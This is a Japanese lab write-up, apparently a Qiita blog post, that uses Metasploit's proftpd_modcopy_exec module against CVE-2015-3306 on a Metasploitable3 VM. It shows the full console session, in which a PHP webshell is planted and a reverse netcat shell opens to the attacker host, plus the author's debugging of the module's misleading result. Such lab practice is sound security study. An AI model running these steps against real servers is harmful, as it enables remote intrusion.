Metasploitable3 ProFTPDの脆弱性２

[Metasploitable3 ProFTPDの脆弱性](https://qiita.com/tsuko5963/items/f809de3ae5189ec14d72)では、手動で脆弱性の検証を行いましたが、今回は、Metasploitを使用して行います。
# 最初に
Metasploitable3のIPアドレス：192.168.56.123
# 検証
### Metasploit起動
```
msfconsole
```
### モジュールの検索
ProFTPDの脆弱性は、CVE-2015-3306なので、「2015-3306」で検索してみます。
```
[msf](Jobs:0 Agents:0) >> search 2015-3306

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/unix/ftp/proftpd_modcopy_exec  2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec
```
このモジュールでよさそうなので、使用します。
```
[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
```
ペイロードは、デフォルトでcmd/unix/reverse_netcatが設定されているようです。
このモジュールは、ProFTPDの脆弱性を使用して、ファイルをコピーして、そのファイル(WebShell)を使用して、リバースシェルで接続するようです。
オプションとして、以下の設定を行います。ポートは、デフォルトのままで、変更しません。
rhosts：攻撃対象のIPアドレス
lhost：攻撃側のIPアドレス
sitepath：WebShellをコピーするフォルダ
targeturi：WebSehllのURI
```
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_modcopy_exec) >> set rhosts 192.168.56.123
rhosts => 192.168.56.123
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_modcopy_exec) >> set lhost 192.168.56.10
lhost => 192.168.56.10
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_modcopy_exec) >> set sitepath /var/www/uploads
sitepath => /var/www/uploads
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_modcopy_exec) >> set targeturi uploads
targeturi => uploads
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_modcopy_exec) >> show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting   Required  Description
   ----       ---------------   --------  -----------
   CHOST                        no        The local client address
   CPORT                        no        The local client port
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.56.123    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80                yes       HTTP port (TCP)
   RPORT_FTP  21                yes       FTP port
   SITEPATH   /var/www/uploads  yes       Absolute writable website path
   SSL        false             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  uploads           yes       Base path to the website
   TMPPATH    /tmp              yes       Absolute writable path
   VHOST                        no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.10    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   ProFTPD 1.3.5



View the full module info with the info, or info -d command.
```
実行します。
```
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_modcopy_exec) >> run
[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] 192.168.56.123:80 - 192.168.56.123:21 - Connected to FTP server
[*] 192.168.56.123:80 - 192.168.56.123:21 - Sending copy commands to FTP server
[*] 192.168.56.123:80 - Executing PHP payload /uploads/XE4LT.php
[+] 192.168.56.123:80 - Deleted /var/www/uploads/XE4LT.php
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.123:40257) at 2025-05-15 12:57:12 +0900
[-] 192.168.56.123:80 - Exploit aborted due to failure: unknown: 192.168.56.123:21 - Failure executing payload
[*] Exploit completed, but no session was created.
```
session 1でオープンしたと表示されたのに、sessionは作られてないと表示されます。
sessionを確認します。
```
[msf](Jobs:0 Agents:1) exploit(unix/ftp/proftpd_modcopy_exec) >> sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               192.168.56.10:4444 -> 192.168.56.123:40257 (192.168.56.123)
```
やはり作られているようです。
session 1に入って、確認します。
```
[msf](Jobs:0 Agents:1) exploit(unix/ftp/proftpd_modcopy_exec) >> sessions 1
[*] Starting interaction with 1...

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
ソースコードを確認すると、WebShellに対してアクセスした後、200の応答が帰るのを確認しています。
WireSharkで確認すると、応答はありませんでした。
そのため、「Exploit completed, but no session was created.」の表示をしているようです。
ファイルコピーだけの脆弱性かと思ったら、WebShellのファイルを作成して、配置までできるのですね。

#### 追記
この例では、webdavで書き込みできるuploadsフォルダを指定しましたが、www-dataの書き込み権限があるフォルダであれば良いので、/var/www/htmlでも可能でした。
```
msf](Jobs:0 Agents:0) exploit(proftpd_modcopy_exec) >> set sitepath /var/www/html
sitepath => /var/www/html
[msf](Jobs:0 Agents:0) exploit(proftpd_modcopy_exec) >> set targeturi /
targeturi => /
```